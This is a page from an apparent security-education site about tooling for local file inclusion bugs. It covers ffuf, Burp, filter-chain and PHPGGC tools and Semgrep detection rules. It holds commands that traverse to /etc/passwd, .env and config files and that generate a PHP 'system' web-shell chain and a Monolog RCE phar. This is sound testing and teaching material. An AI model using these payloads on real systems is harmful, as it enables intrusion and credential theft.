Skip to content
CWE-98A01:2021 – Broken Access Control

Tooling

What to use, what each tool is actually good at, and the wordlist problem that makes most automated LFI scanning less useful than it looks.

The honest summary

There is no good general-purpose file-inclusion scanner, and the reason is structural rather than a gap someone could fill.

Finding the bug is easy — a handful of traversal payloads and a response diff. Everything that comes after depends on knowing the prefix, the suffix, the sink type, and what is on the disk, none of which a scanner can determine. So a tool can tell you a parameter is traversable and then stops being useful exactly where the work starts.

Use tools for the mechanical parts: enumerating parameters, fuzzing depth, spraying a file list. Do the rest by hand, starting with a source read.

ffuf

Bash
# The workhorse. Everything below is about calibrating what "different"
# means, because that is the entire difficulty.

# 1. Filter out the baseline. Send a nonsense value first, note the response
#    size, and exclude it — otherwise every result is a false positive.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
     -w lfi-payloads.txt -fs 4242

# 2. Auto-calibration does the same thing without you measuring by hand.
#    -ac learns the baseline from random inputs; -acc adds specific ones.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
     -w lfi-payloads.txt -ac

# 3. Find the depth. Two wordlists: one of ../ repetitions, one of targets.
ffuf -u 'https://target.example/index.php?page=W1W2' \
     -w depths.txt:W1 -w files.txt:W2 -ac -mode clusterbomb

# 4. Find the parameter in the first place.
ffuf -u 'https://target.example/index.php?FUZZ=../../../../etc/passwd' \
     -w burp-parameter-names.txt -ac

# 5. Match on content rather than size when the page is dynamic — far more
#    reliable than -fs on anything with a timestamp or a CSRF token in it.
ffuf -u 'https://target.example/index.php?page=FUZZ' \
     -w lfi-payloads.txt -mr 'root:x:0:0'

# 6. Authenticated, from a saved request. Put FUZZ anywhere in the file.
ffuf -request req.txt -request-proto https -w lfi-payloads.txt -ac

The wordlist problem

The standard LFI wordlists are mostly from the same era as the techniques they encode, which means a large fraction of every list is dead weight:

  • Entries with %00 — dead since 2010, and they will never match on anything supported.
  • Entries with %c0%ae — dead since decoders became conformant.
  • Hundreds of ../ permutations that a single padded entry covers.
  • Windows paths sprayed against Linux targets and the reverse.

A short, targeted list beats a long generic one here, and it beats it on both speed and signal. Build one per target once you know the platform and the depth:

# Depths — ten is plenty; extras at / are no-ops
for i in $(seq 1 10); do printf '%0.s../' $(seq 1 $i); echo; done > depths.txt

# Targets — what you actually want, informed by the source read
cat > files.txt <<'EOF'
etc/passwd
proc/self/environ
proc/self/cmdline
var/www/html/config.php
var/www/html/.env
EOF

SecLists and PayloadsAllTheThings are still the right starting point — just prune before firing.

Burp Suite

Where Burp earns its place on this bug class:

Intruder with a cluster bomb over depth × filename, which is the same job as ffuf but with the response comparison in front of you. For a small search space this is faster to interpret than a terminal full of sizes.

Comparer on two responses. The difference between "file not found" and "file found but empty" is frequently a handful of bytes, and eyeballing it in Comparer is quicker than tuning a filter.

Repeater for the actual work. Once the bug is confirmed, everything useful is manual: reading source, following includes, building the chain.

The extensions worth having: Param Miner for finding parameters that are not in the request, Turbo Intruder when you need genuine concurrency for the temp-file race, and Hackvertor for nested encodings.

Burp's own scanner will find a straightforward traversal and will not find a filter-chain path, which is the general shape of the tooling situation.

Specialised tools

Bash
# php_filter_chain_generator — the reference implementation of the filter
# chain technique. This one IS worth having; the chain is not something to
# build by hand.
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
# Or use /filter-chain on this site.

# wrapwrap — prepends chosen bytes to a file the wrapper reads, rather than
# synthesising a whole file. Use when the target parses what it reads.
git clone https://github.com/ambionics/wrapwrap

# PHPGGC — gadget chains for phar:// deserialization. Essential for that
# path; useless for anything else.
git clone https://github.com/ambionics/phpggc
./phpggc -l                                   # what chains exist
./phpggc Monolog/RCE1 system id -p phar -o evil.phar

# LFISuite and similar all-in-one LFI exploiters are largely unmaintained
# and encode the dead techniques above. Mentioned because you will find
# them recommended; not recommended here.

For code review

Bash
# Semgrep has decent built-in rules for this class across languages.
semgrep --config 'p/security-audit' .
semgrep --config 'p/owasp-top-ten' .

# A targeted rule beats the generic packs — the pattern is simple and the
# generic rules miss framework-specific sinks.
cat > lfi.yml <<'EOF'
rules:
  - id: php-dynamic-include
    languages: [php]
    severity: ERROR
    message: >-
      include/require with a request-derived path. Map the parameter through
      an allowlist instead.
    patterns:
      - pattern-either:
          - pattern: include($X);
          - pattern: include_once($X);
          - pattern: require($X);
          - pattern: require_once($X);
      - metavariable-pattern:
          metavariable: $X
          patterns:
            - pattern-either:
                - pattern: $_GET[...]
                - pattern: $_POST[...]
                - pattern: $_REQUEST[...]
                - pattern: $_COOKIE[...]
EOF
semgrep --config lfi.yml .

# Per-language greps are in each runtime guide — see /guide/php-prevention
# and its siblings.

The tools here

  • Payload Builder — compose a payload from sink, target, encoding, wrapper and suffix, and get a per-configuration verdict on whether it fires. Useful mainly for the verdict: it will tell you when a combination cannot work and why, which saves sending it.
  • Filter Chain Generator — generates the chain in the browser, with length warnings against the common request-line limits and a debug mode for when a chain comes back empty.
  • Cheatsheet — the wrapper × configuration matrix, and the same bug across seven runtimes.
  • Lab — a simulated sink where you can toggle each defence and watch the resolution change. The fastest way to build intuition for why ....// works against one filter and not another.

All of it runs client-side. Nothing you type is sent anywhere.